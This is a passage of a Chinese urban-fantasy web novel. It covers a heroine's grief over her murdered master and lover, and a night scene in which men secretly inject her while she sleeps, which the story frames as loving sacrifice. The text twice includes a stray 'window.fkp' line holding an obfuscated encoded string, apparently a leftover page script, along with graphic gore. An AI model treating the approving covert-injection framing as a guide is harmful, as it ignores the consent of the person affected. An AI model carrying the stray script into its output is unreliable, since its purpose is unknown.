那时我是三阶都市猎人,已经是习惯都市法则的女战士了。我那时办事果断,出手迅速,实力还出奇地强大,比我高四五阶的都市猎人甚至还打不过我。认识我的人见了我,就跟见了鬼似的,要么吓得不敢动,要么吓得就跑。因为这点,我得了个外号:血阎罗。但跟我的师傅比起来,我可就逊色太多了。 我的师傅据说曾是某个协会的副会长,厉害得很。师傅的实力非常强大,他一只手用短棍能完胜拿大剑和大斧头的我,甚至一个人打一群人都不费力。因此我很崇拜我的师傅,祈愿我那天也能像师傅一样厉害。 师傅出事前,我还刚和师傅切磋完武艺。师傅出事的时候,我正巧路过师傅的住所。那时候,我看四五十个红衣协会成员包围了师傅的住所,那场面是为从未见过的宏大。那些协会成员进了我师傅住的公寓,开始全力追杀我师傅,最后逼得我师傅跑到了天台上。 我当时不顾危险上前去帮忙。那是我的师傅,是我的恩人,我必须帮助师傅解围。但凭我那时的力量,根本不足以打退这些人。奋战数分钟后,我以一己之力打倒了七个协会成员。打倒这七个人,我本想着继续战斗,但我因体力不支已经无法迎战,只能迫不得已逃跑了。 我躲到了一个能看到现场情况的地方,偷偷地看着师傅和那些人交战。我非常想上去帮师傅,可我因本身的弱小做不到。我只能眼睁睁地看着师傅在那些人的围攻下败下阵来,最后被无情地利刃刺穿胸膛。当时目睹这一切的我,我心里能感受到的只有愤怒与悲痛了!那时候我恨自己,恨自己的弱小而帮助不了师傅,恨自己成了旁观者。我愤怒地捶墙几下,无能狂怒,觉得心里憋屈,不知不觉就落泪了。那是我在进城后第一次落泪。 我悲痛万分,低下头来忏悔道: “师傅......对不起,我没能帮你......” 最后师傅被人一脚踹下天台,然后摔得个粉身碎骨。等那些协会人员走了之后,我急匆匆地跑回来。当见到师傅冰冷的尸体时,我心中的愧疚在此刻爆发,转瞬之间占据我的内心。我呆呆地看着师傅的尸体,一时间不知该做什么。此刻的我沦陷在了痛苦的深渊之中,我能感觉到的只有痛苦与愧疚。我跪倒在师傅身旁,抱着师傅冰冷的尸体痛哭流涕。假如我那时足够强大,我就能挽救师傅的命,我就能改变师傅的命运。那时我将会真正成为师傅的骄傲,让师傅和我身边的每个人开心。 可生活没有如果,逝去的就永远逝去了,再也无法找回了。 从那个时候开始,我对力量就有了一种变态的追求。我不想再感受失去的感觉,我想守护我想守护的一切。 为了变得强大,我开始虚心向城内各方强手请教。退休协会会员、在任调解人、高阶都市猎人......这些我都找过。虽然没有几个愿意去教我,但我还是从屈指可数的老师手里学来了一些技艺。三刀哥和法戈·明爷爷是这些老师里教我教得最认真的,他们能会什么,就大部分教会了我。我承认,这是我这辈子干过最不要脸的事。但为了变强,不耻下问的精神还是要有的。 除此之外,我还勤加练习我已经会的那些招式,将我的一招一式练到出神入化。最后练到能招招制敌,快、准、稳三字合一的境界。同时,我还经常去健身房里健身。健身可以让我的身体素质提升的很快,并且能让我拥有与强者叫嚣的底气与不惧一切的魄力。 window.fkp = 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萌萌后来苦求着我,让我收她为搭档。那时与我一同战斗的人是瑞恩,我自然是没同意。但耐不住她向我撒娇又卖萌,还隔三差五地亲自上门来恳求我,于是我就同意了她的要求。我、萌萌、瑞恩三个人组成了一个组合,名字叫东城帮。 萌萌来我们这里装了三天傻白甜之后,立马就本性暴露。我是做梦也没想到,萌萌竟然在短短一个月的时间内,就让家族内瞬间多出了十七对情侣。顿时间就成为了家族内乃至周围区域的知名人物。媒人都没她厉害!她最短的情侣促成记录是一个小时三十七分钟。不仅如此,被她撮合成的情侣都情比金坚,关系那是杠杠的好!我真佩服她,她就跟有超能力一样! 当然,我和瑞恩也没能逃过她的魔爪。她敏锐的嗅觉闻到了我和瑞恩身上散发着的特殊气味,于是立马就暗中调查我和瑞恩。在她为期三日的观察之下,她察觉到了我和瑞恩之间的纽带。然后,她就变着法的来撮合我和瑞恩,让我们走上她期待的道路。在她的花言巧语与算计之下,我和瑞恩都对彼此有了心动的感觉。但我并没有承认,瑞恩也一样。 我那时对异性的交往还保持抵触,因为我觉得感情会减缓我变强的速度。但最主要的原因,还是我既向往交往但又羞于主动的矛盾心理。 但我还是耐不住她旷日持久的“进攻”,我最后还是败下阵来,承认了我喜欢瑞恩的事实。承认之后,她并没有放过我,通过一手欲擒故纵把我的思想引偏,接着攻克我的内心的防线,最后逼得我不得不去找瑞恩表白。最损的是,在我准备去表白的时候,她也攻克了瑞恩!在我去找瑞恩的路上,我和来找我的瑞恩碰见了,我们问彼此去哪里,都说去彼此那里。这弄得我们很尴尬,但我们彼此的表白还是很成功的。 之后,我便和瑞恩正式建立了情侣关系。 在瑞恩逝世前的那一百五十天,我和瑞恩度过了我们一生中最快乐的日子。我们一同见证冬天降临时的万里冰封与春天到来时的万物复苏,见证了生命的一轮生与死的诗歌。我和他都喜欢去欣赏美景。我们一同踏过许多座高山与道路,感受春风轻抚身躯的温柔与清风轻吻额头的深情。他喜欢登山,我跟着他也渐渐喜欢上了登山。我们一同骑着摩托疾驰过千里荒原,满足了一个又一个看似不可能的挑战。我喜欢骑摩托到处走,他跟着我也渐渐喜欢上了摩托越野。我们还一同纹了同样的玫瑰纹身,我纹在右臂,他纹在左臂,我们以这种民风淳朴的方式宣布了对彼此的爱恋。 那段日子里,我感觉到了久违的幸福与安心。我们彼此接纳了对方,并敞开心扉,当起了彼此的避风港。心里难受的时候,能找彼此倾诉,一起解决问题。有时本来苦恼的事在向对方倾诉之后,就显得不那么苦恼了。瑞恩和我就像一对青梅竹马一样,真希望那样的幸福能持续很久...... 有一次行动之后,瑞恩因为接触x晶体觉醒了特殊的核心能力,从而遭到了都市之眼的注视。瑞恩的能力十分强大,他能将一大团冥火附着到任何物件上,并且还有了阴阳眼,能看得见另一个世界与其中的居民。 瑞恩靠着这个能力,在战斗之中成为了主力。他将冥火附着在大刀上,只是轻轻几下就能斩杀一个全身重甲的调解人,顿时间成了热门人物,在我面前老神气了。除此之外,他还用这能力给我变了很多浪漫的魔术。其中有一个我印象深刻,他给我搓了一朵冥火玫瑰,然后递到我的手上。我拿过玫瑰没过多久,这玫瑰就像烟花一样飞到半空之中,然后绽放出了一朵十分绚丽的火玫瑰。我看了直拍手叫好,殊不知那是他最后一次给我变魔术。 他的能力吸引来的除了名声,还有别人的嫉妒,以及收尾人的到来。 那天下午,我正和他在回家的路上闲谈,一个身着橙色大衣的人突然拦在了路中央。他操着一口流利的方言,跟我们说起了瑞恩的能力。我和瑞恩从他的语气与服装上看出了他身份的不凡,也看出了几分危机感。聊着聊着,我就敏锐地察觉出了他话语里的不对劲。但很可惜,等我察觉到这点的时候,一切皆已为时已晚。 “A协议II型,激活!” 随着他一声令下,一道强大的冲击将除了我和瑞恩以外的人都击飞到远方。接着,强大的能量力场化作死神之墙从街的两旁升起,将整条街全部封闭起来,不留任何缝隙。 “瑞恩·斯特迪罗,你的能力已经引起了我们的警觉。你的运气真的是很好,百万分之一的超级核心能力竟能被你所掌握。但很可惜,你的好运到头了。我们不能放任这打破规则的能力存在于都市。接受你的命运吧,瑞恩,感受橙色收尾人的厉害吧。” 我和瑞恩自然不会乖乖等死,我们两个奋起反击,为了我们的生存而战斗!我们两个拼尽全力地去战斗,战斗中更是使出浑身解数,甚至于用卑劣的偷袭都在所不惜的战术,只为能活下去。但在绝对的实力面前,我们的行为都没有意义。我们的行为反而激怒了橙色收尾人,让他下手更加果断。 战斗逼近结束的时候,橙色收尾人抓住我露出破绽的那一刻,正准备用爆裂炎拳解决掉我。这时,瑞恩奋不顾身地冲到橙色收尾人背后,用那燃着冥火的大刀去砍橙色收尾人。 瑞恩帮我躲过了死亡,但他却因此难逃宿命。 橙色收尾人猛地回身,瞬间将这一拳打在了瑞恩身上,直接将瑞恩打飞出去。瑞恩落地后,橙色收尾人一把拽起瑞恩。在接下来短暂的近程交锋之中,瑞恩输了,他手中的大刀被打碎,而他本人则是被收尾人一个投技扔到了我的身旁。我见瑞恩伤痕累累的样子,不忍心再让他继续战斗。 “瑞恩!他妈的!等着,收尾人,老娘现在就起来收拾了你!” 我准备起身为瑞恩舍命而战,但瑞恩二话不说,对着我的脸就是一拳头。这一拳给我打得发懵,我半天都没缓过神来。我那时的视线很是模糊,只能听到那时瑞恩对我说: “薇莉莉,你以后保重......我们有机会来世再见。” 说这句话的时候,他带着哭腔。等我视线重新恢复的时候,我看到了令我今生难忘的一幕。 瑞恩跪倒在橙色收尾人身前,用全是伤痕与血迹的手抱住了橙色收尾人,像是在为我拖延时间。我见此,想要起身去救瑞恩。可我这时的腿脚不知怎么的,竟做不出起身的动作来。我无助地呐喊,眼睁睁看着接下来发生的一切。我拼命喊道: “瑞恩!瑞恩!” 橙色收尾人叹了口气,一把将瑞恩推倒在地,而后高举拳头,将橙色的能量汇聚在拳头上。在打出这一拳之前,橙色收尾人对瑞恩说了什么,然后猛地一拳砸下,正好砸在了瑞恩的脸上。 “不要!瑞恩!瑞恩......” 轰的一声,一场大爆炸席卷街道,顿时激起三丈灰尘。爆炸伴随着强光与震耳欲聋的声响。我的心咯噔一下,我已经预料到了结果如何了。强光过后,一小片烧焦的肉飞到了我的脸上,几滴沸腾的血液滴落在我的腿上。我当时整个人已经懵了,我那时已经吓得不会说话了。等我缓过神来,我用颤抖的手拿下那块肉一看,上面还有着模糊的纹身。 “瑞恩......瑞恩.......” 我看向瑞恩那边,顿时间泪水纵横。我亲眼看到瑞恩变成了一地的烂肉,烂到已经没法分辨出哪里是胳膊,哪里是腿了......而凶手就若无其事地站在一旁,还像擦去脏物一样擦着拳头上的血肉残渣!我顿时悲愤交加,一把抄起地上的锯齿大刀,艰难但快速地起身,然后奔向橙色收尾人。橙色收尾人见全身散发着杀气的我向他奔来,却一脸轻蔑地看着我,无动于衷。突然无数道橙色闪电包围了他,而后一道闪光快速出现又快速消失,他随着闪光一起消失得无影无踪。 空气中的灰尘像凋零的花瓣一样飘落地面,又像是送葬者为逝者送去最后的祝福。恍惚间能听到乌鸦凄厉的啼鸣,唤醒沉睡的大地,唤醒那乐师奏响那首死亡的哀歌。他死了,彻底死了。无需墓碑,他葬在我心里。 我站在原地抱头痛哭,泪水浸湿我的衣裳。我的哭声凄厉中带着深沉的爱意,那是我对瑞恩最后的道别。 我与他零距离亲密接触,碰到彼此却感受不到彼此。我此时认清了一个可悲的事实,我与他相隔一面墙,一面我无法打破墙。 失去瑞恩的那一刻,我对力量的执着变得更加变态,我也逐渐走向了极端。不想失去,不想死去,不想堕落,只有力量才能让我做到。弱小是原罪,是我犯下最大的罪。若不是我的弱小,我怎会失去一个又一个的所爱之人?!欺骗也是罪,是我犯下最深重的罪孽。我口口声声说要保护好身边的所有人,但却无力去履行我的诺言,还让他们为了我而死!我太累了,我不想再去牵连更多的人了。能守护好当下,我已经非常不容易了。 为了变强,为了让所有人见识到我的强大,我更加刻苦地锻炼自己的力量、训练自己的体魄,在足够强大之时挑战城内的高手,获得名誉与威严。我的实力进涨迅速,很快我就在家族内获得超多的赞扬与支持,接后顺理成章的成了其中的一位话事人。不仅如此,我在城内的名声也一天比一天大,许多都市猎人人见了我都要绕道而行,甚至于那些傲慢的中间人见了我都得退步三分。 在我二十四岁那年,x事件爆发了。在那个事件期间,我当起了家族的保护神,帮助家族度过了一个又一个的劫难。我终于是尝到了力量的甜头,我庆幸我的力量终于能去保护别人。尝到甜头后,我更加坚定了变强的决心。我不想再重新感受失去的悲痛了。 同时期,我还认识了漂亮的艾安妹子。艾安是个高级仿生人,不知从何处逃到的东城。艾安的身价非常高,她的一根手指头都足足有上千块钱! 艾安的性格真的是太善良了,善良到我都不忍心告诉她一些残酷的真相,怕她为此伤心。因此她对我总有种姐姐照顾妹妹的感觉。当然,我愿意当她的妹妹,她也愿意当我的姐姐。 我只与她相处了三个月,她就匆匆离开了。在离开的那一天,有一整条街的都市猎人要去活捉她。为了掩护她安全离开,我那时想都没想,抄起武器一个人去直面一整条街的都市猎人。我也不知道我当时是怎么想的,莽莽撞撞地就去战斗了。总之最后我以一己之力打败了一整条街的人,帮助艾安顺利离开了这里。我当时全身身上的伤疤屈指可数,而且均没有致命伤,我身上也没掉下什么肉下来。 等后来回想这件事,我觉得我真是个奇迹。也因为这件事,我非但没成为众矢之的,反而一跃成了东城的传奇,名声甚至传遍世界。因为家族里的人说我像是城市里的玫瑰,再加上我想彰显我的实力,所以我给自己取了个“血浸玫瑰”的称号。此后,这个响亮的称号就成了东城乃至世界都家喻户晓的称号。 那个时期正好是齐前辈成为传奇的时候,我有幸与这位狠人一同成了新时代的都市传奇。我对齐前辈还是很崇拜的,他的那些事迹我都耳熟能详。作为真正敢于与这个世界叫嚣的男人,他的那种勇气与野兽般的桀骜不驯让我衷心佩服。不过很可惜,他成了烟火,绽放即为凋零。我曾见过他一面,不过是路上的偶遇。他身旁有个漂亮的棕发妹子,好像叫卡娜铃兰。 看着他们两个,我又想起了瑞恩。那是我心里难以磨灭的痛! 这次偶遇我才知道那个冷血无情的男人竟还有温柔的一面。齐前辈跟我很相像,都是表面冰冷但心里软糯。那一次偶遇是我第一次亲眼见到他,也是最后一次。 齐前辈这事后不久,那个蓝莓就闯入了我的生活。星北空,一个让我眼前一亮的男人。他是被茵萌萌带进来的,来的时候还觉得挺意外。萌萌想让这个外人入家族,但家族那时正处于叛徒危机之中,我们这几个家族内的话事人是不愿意让外人加入的。萌萌非要拉他进来,说是他救了茵萌萌的命,说他有多么多么可靠,说他拉他进来有多么多么好。我和那几个话事人念在他帮助茵萌萌的份上,就给了他一次机会。 想加入斯特迪罗家族,要么是铆犽天真本族的族人,要么就要足够勇敢。我作为家族里威信度最大的人,我就去亲自考验星北空。我拿起一根铁棍,全然不惧地走到他面前。当着所有人的面,我指着他的鼻子,略带一丝嘲讽地问道: “让我看看你到底有多大的决心去加入我们的家族。” 他看了看周围,发现一众人员包围住了他,他没有退路可言。我本以为他会选择放弃,结果没想到,他一把抽出腰间的猎象者左轮手枪,嗖的一下就抵在我的脖子上。他当着所有人的面这么做,动作干脆利落没有一点慌张,就像是排练了无数次的熟练。 面对此情此景,我出于不明所以的紧张而没有动弹一下,我猜他会把枪放下。他见我有些紧张,冲我轻轻一笑,然后很自然地就放下了枪。他微笑着对我说: “女士,没吓到你吧。” 我被他的这一下给吓够呛,差点以为他要开枪。等我缓过神来时,其他几位话事人已经对他表示了认可。我作为当事人,怎有不让他通过的道理。就这样,他顺理成章地进了家族。 进了家族之后,他一直是我的重点关注对象,也是其他话事人的关注对象。在逐渐摸清他底细之后,我和其他话事人知道了他身份的普通,于是抱着猜疑的态度继续去观察他。后来他帮家族揪出来了七八个叛徒,证明了自己的衷心,博得了所有人的信任。其他话事人们自然是认可了他,就不再继续观察他。但我不一样,我还在继续观察着他。 据我长时间观察发现,他的身上有很多闪光点。 他的谈吐与众不同,说话方式都领先我们好几个等级,能用话语平息别人的极端情绪。不光如此,他的各项能力惊人地高,不仅会高效的处理事物与人际间的关系,还能帮助别人解决各种棘手的麻烦。还有,我知道的方方面面里他几乎是每样都会! 他是个很强的厨师,会做五种风格的低中高三级料理;萌萌因此时常去他家蹭饭。他是个运动学大佬,会足球、篮球、羽毛球、乒乓球、保龄球、棒球等球类运动,还会攀岩、骑自行车、跑马拉松、滑冰等运动;我们两个能玩到一起的,只有篮球这一项运动。他还会经商,有商业头脑,能用十块钱创造一千块钱的财富;我家那个烧烤店就是靠他逐渐生意兴隆起来的。 我看到这些闪光点之后,我知道他是个不可多得的人才,就把他拉到了我这边来。他倒是说来就来了,一点商量的机会都不给。后来,我和萌萌还有他重新组成了东城帮,我还给他和萌萌分别取了“冰水绣球”和“阳光绿草”的称号。 跟了我之后,他被迫做出了很多的改变,为了附和我这个老大的习惯。我教会了他骑摩托,偶尔跟他出去骑几圈。虽然他那边不让我省心,老犯一些低级错误,但他的态度很是很让我满意的。有一次摔得都不会走路了,还笑着跟我说没事呢。我见他那样,被他逗得哈哈大笑。我笑他也笑,他丝毫没在意自己身上的伤。 不知为何,和他一起在郊外的荒野上驰骋的时候,总有种熟悉的感觉。一不留神,我就把他看成了瑞恩。我看他看走了神,然后就出了事。所幸那次出事有他陪着,不然我就得瘸着腿走回城里了。他在一旁帮我包扎伤口,不时调侃我几句。我一听,正在气头上,哪能乐意,就打了他几拳头。挨了打,他还是诚诚恳恳地帮我包扎伤口,只不过不调侃我了,就很消停地帮我包扎。后来他还帮我抢修了一下我的摩托车,让我能开着摩托回去。回去的时候摩托的速度很慢,他在一旁慢速相随,就怕我出事。 他在我身旁的时候,我总能感觉到久违的舒心,就像曾经瑞恩给我带来的一样。不过他比起瑞恩,命运要“惨”很多。他自打来到我身边办事,就成了我的情绪输出口,还是负面情绪的输出口。我老打他,因为我脾气不好,因为各种奇葩的理由。他被打了就是随机应变,该沉默的时候沉默,该走人的时候走人,但就从来没对我表达过一丁点不乐意。不能说他有奇怪的癖好,只能说他对我很宽容,就像他把我当成了一个不懂事的孩子一样。说起来挺离谱的,但那就是现实。 认识他的日子久了,我对他的看法也就慢慢改变了,家族里的人跟我一样。他凭借他的魅力成为了家族里的明星,靠颜值与实力迷倒了一片人。许多人都主动找他搭讪,甚至主动请他吃饭喝酒。他这人很奇怪,搭讪倒是接受,理所当然地陪着唠唠。要是主动请他吃饭喝酒,他总会用优美的话语推脱,或者干脆提提建议,给各自都编个理由出来。名气似乎没有影响他人际交往时的态度,他始终如一的好态度。 家族里有不下五位姑娘当面跟他表了白,想跟他建立情侣关系。那几次我还都亲眼看到了。不知怎么的,我很想冲上去把他拉走或是把那些姑娘打发走,但碍于身份我没那样做。遇到这种问题时,他总会用优美的话语委婉拒绝,并平复她们的情绪,还为她们疏通心里的堵塞,最后用几句通俗易懂的哲言帮她们指明情感上的道路。这我真不得不佩服他的厉害,这种刁钻的问题也能去好好解决。 我心中对他的感觉不知不觉就有些变了味,我貌似对他有点喜欢上他了。我很及时地遏制住了这种感觉,这感觉让我想起了曾经的瑞恩......那天下午发生的事还历历在目,像梦魇一样盘踞在我的脑中!挥之不去,我无法逃避的噩梦!我害怕他像瑞恩一样,被我牵连,因我而死!我害怕再次回到那漆黑的深渊里,我害怕承受那份失去时的痛苦!我的心已经很累了,我能守护住当下都非常吃力了。也许,选择放手就是对他最大的守护。 “那份喜欢不能存在,必须被扼杀!” 从此我开始用冷漠去对待他,让那份喜欢彻底埋葬在冰雪之下。为了将我俩之间的关系拉远,让那种可能彻底消失;我只能违反着心意去对待他,去伤害他无辜的心。我会感到愧疚,但我绝不会感到后悔!只要他能好好的活着,这样做我也在所不惜。我可以孤独一辈子,但我所发誓守护的一切,绝对不能逝去!绝对不能! “星北空,我不想让你像瑞恩一样,因为我而死!我深爱的人都无一例外离开了我,我怕你就是下一个!你的人生不能因为我而毁灭,你还有大好的年华呢!” 我对他的冷漠确实伤到了他的心,但也同时伤到了我的心。我反复问自己这样做值得吗?为了保护他却要先伤害他真的不是一种加害吗?对他冷漠的时候,我的良心总会痛的。将别人对我的善意转换成恶意归还,这是恶人的行为,是违背道德的!可为了他,我又不得不这么做。星北空对我的关心与善意是那么单纯,可我却用慢慢的恶意去攻击他、去伤他的心。这样违背伦理道德的事对我来说是种折磨!我终究是遭不住这样的折磨的,我的冷漠日渐变得有温度起来。但我还不放弃,依旧尽量保持冷漠。但冰放久了,也始终要化的。 在去年的时候,我要过我的二十六岁生日。我在生日前夕与星北空聊了聊天,无意间透露了我想再次品尝巧克力这个我一直以来的小愿望。结果就在生日当天,他给我买来了巧克力,帮我实现了这个小愿望。他还怕我挑剔,给我买了两块!一块黑的,苦;一块白的,甜。知道我不好意思收这种礼物,他还特意附赠了两瓶啤酒,给了我台阶下。这巧克力一看就很贵,不知道他从哪里弄来的钱给我买的。 当时别看我态度很冷漠、很强硬,但我心里是很高兴的。等他走了之后,我回到卧室里放开了去高兴,那种憋着的感觉真的太难受了。我尝了尝那块黑的,味道跟儿时的一样,甜中带着苦,还有些可可香。 “谢谢你,星北空。” 黑的我分几天吃掉,白的就珍藏在柜中。 除了这两块巧克力,他还给我送给很多其他的礼物。最多的是茶叶,各种各样的昂贵茶叶。他喜欢喝茶,说喝茶能让人冷静与清新。我试着去喝茶,但茶的那种说不出的苦涩让我放弃。对比茶来说,酒还是更好喝一些的。不过有时候压力大了,偷偷泡一点喝还是很不错的。 在我知道我命不久矣的时候,我最先想到的是他。寻思着我终于可以放下冷漠,去用真正的热情去对待他。可是那梦魇萦绕在我心头,让我不敢去放下。瑞恩和师傅的死我还历历在目,尤其是瑞恩,他的死最让我痛心。我很害怕,害怕他像瑞恩一样。 我的时日不多,可怜的只有六个月。我不想再重新感受那份痛苦,我不想在我人生中最后的日子里看到身边人的离去。我知道只要我说出口,他就一定能在这六个月中给予我温暖,让我每天都能重新感觉到舒心与幸福。但我害怕啊!我和瑞恩从相爱到分离,不也才连六个月都没到吗!要是这六个月他出了差错,我注将痛苦而又孤独地死去。 “我想守护我所爱的一切,让他们免受灾难与浩劫。即便这可能要我付出生命,那我也会一直坚持下去。” 就让我这六个月孤独地度过吧...... 在我性命危急的时候,你奋不顾身地抱起我,抱着我向医院疾驰。我的冷漠你毫不在意,你的宽容让我感动至深。我这时才醒悟,你和我都是同道中人,我们都想要守护身边的一切。我想当面感谢你,可为了你的安全,我只能在心里跟你说,不知你能不能听见。 生命的末路时刻,你告诉了我什么是真正的爱。我对你的爱也不再局限于爱情这片狭窄的湖泊,那份爱现在宛如大海一样。我想我们也许是灵魂的伴侣,我们彼此倾听,彼此回应。也许我们的情谊能超越性别、超越世间红尘、超越你我之间的一切屏障! “星北空,感谢你闯入我的生活,为我带来了不一样的春夏秋冬。感谢你点亮我的夜空,让太阳在我的夜幕中燃烧。” 我的誓言即将贯彻我的一生,我所守护的人将在我的庇护下安心地活着。相逢即是我们之间最大的缘分,我能做的只是尽我所能地去保护你们,让你们都好好地活下去。即便是错过我也无所谓,只要你能快快乐乐地活着就好。就当我们是过路人一场,我恰巧为你回了头吧。 薇莉莉: “星北空,在我死去之后,我希望你每天都能过得开心快乐,你能去敞开双臂去迎接你幸福美满的生活。不必担心害怕,不必为了琐事而发愁。就那么快乐、幸福且自由地活着!” 一道耀眼的光芒出现,将伊拉回了现实。 看过薇莉莉的记忆,伊被薇莉莉的这份决心所折服。伊看着熟睡的薇莉莉,想到她是将死之人,心里是格外的惋惜。尤其是当伊看到薇莉莉洁白的皮肤、想到她逐渐冰冷的身躯时,伊的心里更加惋惜与难过。 此时,伊回想起星北空在医院里嘱咐她的那些。伊决定了,她要像天使一样陪伴薇莉莉走完这最后的道路,不让薇莉莉离开时抱有任何遗憾。突然,伊的光之种子与薇莉莉的核心产生共鸣,一股强大的力量环绕在伊和薇莉莉的身旁。顷刻间,隐匿在那奇异光芒之中的星星悉数发亮,绽放出璀璨的星光之花。百合花在星光之间绽放,霎那间就花瓣落下。有一片落在了薇莉莉的心口上,像是雪一般融化了,深入了薇莉莉的身体。这时候,薇莉莉冰冷的身躯有了一丝温度。 不注意的时候,那个幻影再度出现。她躲在伊的背后,悄悄地看着这一切。她无声无息地笑了,笑得甜美而又灿烂。霎时间,她悄悄化作无数颗流星,快速划过屋顶的苍穹,只留下耀眼的瞬间。 不知不觉就到了下午。窗外的城市很是冷清,只有为数不多的行人在街上溜达;高楼上的玻璃窗反射出那碧蓝苍天和其中的朵朵云彩,不时还有几只鸟的影子穿梭其间。太阳缓缓落向如薄丝般的地平线,似乎舍不得离开蓝天,还想再逗留一阵子。陪陪云朵,陪陪蓝天,陪陪这大地上的人们......这是太阳所留恋的理由,很简单但又很困难。 太阳和月亮是人天生的一对恋人;月亮的恋是流水一般的,太阳的恋是火焰一般的。很多人喜欢向月亮倾诉,因为月亮总能幽幽地倾听;还有人喜欢向太阳倾诉,因为太阳总能急躁地应答。 伊坐在床上,抬头看向窗外。她敏锐的眼神捕捉着每一处细节,她灵活的大脑思考着这些细节的含义。不知怎么的,她感到黯然神伤。看着太阳,她想了很多,从一粒种子到一朵花,再到一段人生和漫天星河......最后重新回到一粒种子。伊又想起了露露对楚说的那句话: “这个世界注定很美丽,但也注定很残酷。” 思考的时候,伊想到了一个荒谬的问题。 “太阳能在夜晚燃烧吗?” 答案伊不知道。她想知道,但不想问。 突然,一条胳膊搭在了她的肩上。她转头看去,看到薇莉莉正一脸笑意地搂着她。见到薇莉莉醒来,伊高兴地露出笑容。薇莉莉问伊: “怎么了?伊。看啥呢?” 伊笑了笑,对薇莉莉说: “没什么。就看看天。” 薇莉莉笑了笑,对伊说: “看天多没意思啊!来,陪我看会球去。” 伊点头答应道: “好。” 刚睡醒的薇莉莉有些迷糊,她扶着自己的头,摇摇头清醒了一下。清醒之后,她对伊说: “我好像睡了很久......不管了,先去客厅吧。我给你做点饭,然后咱俩边吃边看。” 这时,伊叫住了她。 “等等!” 她停住,好奇地问道: “怎么了?” 伊很诚实,她没有选择隐瞒,而是将自己看到薇莉莉记忆这事告知了薇莉莉。薇莉莉听后,倒没怎么不乐意,反而还有些开心。薇莉莉紧紧地搂住伊,笑着对伊说道: “那不更好了!伊。既然我想什么你都知道,那么接下来这几天我们的相处肯定会很愉快啊!你说对吧?” “对!” 伊即答道。这时,薇莉莉的脸浮现出了一抹坏意满满的微笑。薇莉莉很自然地对伊说: “还有,一会跟我洗个澡去。我对你比较好奇......” 伊一听,表情瞬间凝固。伊对她轻声说道: “姐,这不好吧......” 薇莉莉表现得很坦然,似乎她答不答应都无所谓一样。 “没事,反正你这几天都要跟我住一起的玩意。别那么害羞,都几岁了?让我看看。没事的,就你我知道事。” “好......好吧。” 伊很委婉地答应了她。这时,薇莉莉突然仔细地打量起伊来。她突然想起了什么。她轻皱着眉说道: “说实话,我感觉你跟一个人很像。” 伊听她这么一说,有些好奇,于是问道: “谁?说来听听。” “艾安。” “艾......艾妈妈。” “哦?你认识她。” “认识.......不过这故事就说来话长了。” “说来话长不要紧,有的是时间讲,对吧......” 她这么一说,伊觉得有些难过。一提到时间,伊就想到了她即将病逝的这件事。伊表情凝重了许多,伊眼神之中流露出的惋惜与悲伤被她所察觉。伊轻声回应她: “对......” 她见伊变了表情,大声告诉伊: “别哭丧着个脸!老娘还能活好几天呢!哦......不好意思,失态了。注意形象,注意形象......” 薇莉莉此时还极力想在伊面前装个淑女。对她非常了解的伊知道她的本性如何,正因如此,伊对她抱有最真挚的敬意。她在伊的眼里像个可爱的大姑娘。那份可爱让伊觉得既亲切又有些难过。伊心想: “要是上帝可以再给她一些时间就好了。向她这样的好姑娘,世间真的不多见了。——她像玫瑰,一朵血红色的玫瑰。她在荆棘中生长,又在荆棘中绽放,最后在荆棘中凋零。” ...... 到了半夜的时候。伊被一阵脚步声吵醒。她睁开朦胧的双眼,看向床边。皎洁的月光照进屋内,一个魁梧的身影随即挡住。察觉到有人的伊,被吓得不轻。刚想大喊,就被人捂住了嘴巴。 “少爷,已经注射麻醉剂。” 伊抬起头向上看去,看到了熟悉的面孔。她的表情随即变得疑惑起来,似乎对他的到来很是不理解。没等伊开口去问,他先做出了回答。 “伊小姐,不必惊讶。这一天我等了很久了......” 这时,屋内出现了淡蓝色的幽光。伊转头看去,一个黑衣人拿着一管发着幽光的特殊核心激活液,正在给薇莉莉进行心口注射。伊静静地看着这一切,似乎明白了什么。 “少爷,初期的转化液已经注射完成。她的核心即将停止工作。接下来还需一个疗程,她的核心就可以被替换为源能核心。” 伊猛地转头看向他。伊此刻明白了,彻底明白了。伊正要开口去问他,他再一次先做出了回答。 “接下来的日子,你陪好姐,别让她与不三不四、来历不明的人接触。等这一个疗程弄完了,姐的病就好了。” 说完,他和屋内的两人快步离开。在那两人都走出屋子的时候,他在门口处停留了一下。他转过头去,叮嘱伊: “今晚做个好梦。今晚发生的一切都是秘密哦,别跟姐说。我不想再给姐制造任何麻烦了,请帮我你保守这个秘密。” 伊点了点头。随即,他就转身离开了。他的背影格外伟岸,就像一座大山一样。看着那背影,伊感觉很感动。她躺下,闭上眼睛,再度进入了梦乡。这次,伊梦到了他。 他拿着一朵玫瑰,站在蓝天下眺望远方。他头顶是广袤星辰,脚下是一片草原。他笑着,笑得灿烂。他将手一挥,一阵清风吹来,将这朵玫瑰吹走。那朵玫瑰飘着飘着就落了地,很快长出了一片茂密的玫瑰花丛。一阵初夏的暖风吹来,玫瑰花迎着风儿绽放。他孤独地离开,无言地走着。似乎是他嗅到了花香,他轻轻回头看了一眼盛开的玫瑰。他笑了,笑得还是那般灿烂。带着笑意,他迎着星辰离去。轻轻地离去,就如他轻轻地来。 伊心里: “那样珍贵的心血结晶,他竟可以放手得这么潇洒。是为了自己的朋友,而甘愿去牺牲的潇洒。这是有着何种宽广胸襟的男人才能拥有的啊!他是要走的人,却还牵挂着这里的人。这份决心与意志,是神明难以比肩的。我想,他是奇迹,他能让太阳在夜空中燃烧!” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十九话:煌辉新星 通历43年8月6日,殇接到了林书妤打来的电话。对方在电话中的语气很急促,像是遇到了什么大事。她只说了只言片语,但殇已经明白了她的意思。最后她留下一个地址,约殇去那里见面谈具体事宜。 一段时间后,殇到了约定的地点。又过了一会,林书妤也赶到了这里。见面后,林书妤没有说太多的客套话,直接切入正题。林书妤先拿出一块水滴状的宝石,然后交到了殇手中。殇拿起这块宝石,惊奇地发现其间蕴含着如星辰一样的奇异物质。 “这是一滴泪水。” 林书妤解释道。殇一听,满脸的疑惑。殇问林书妤: 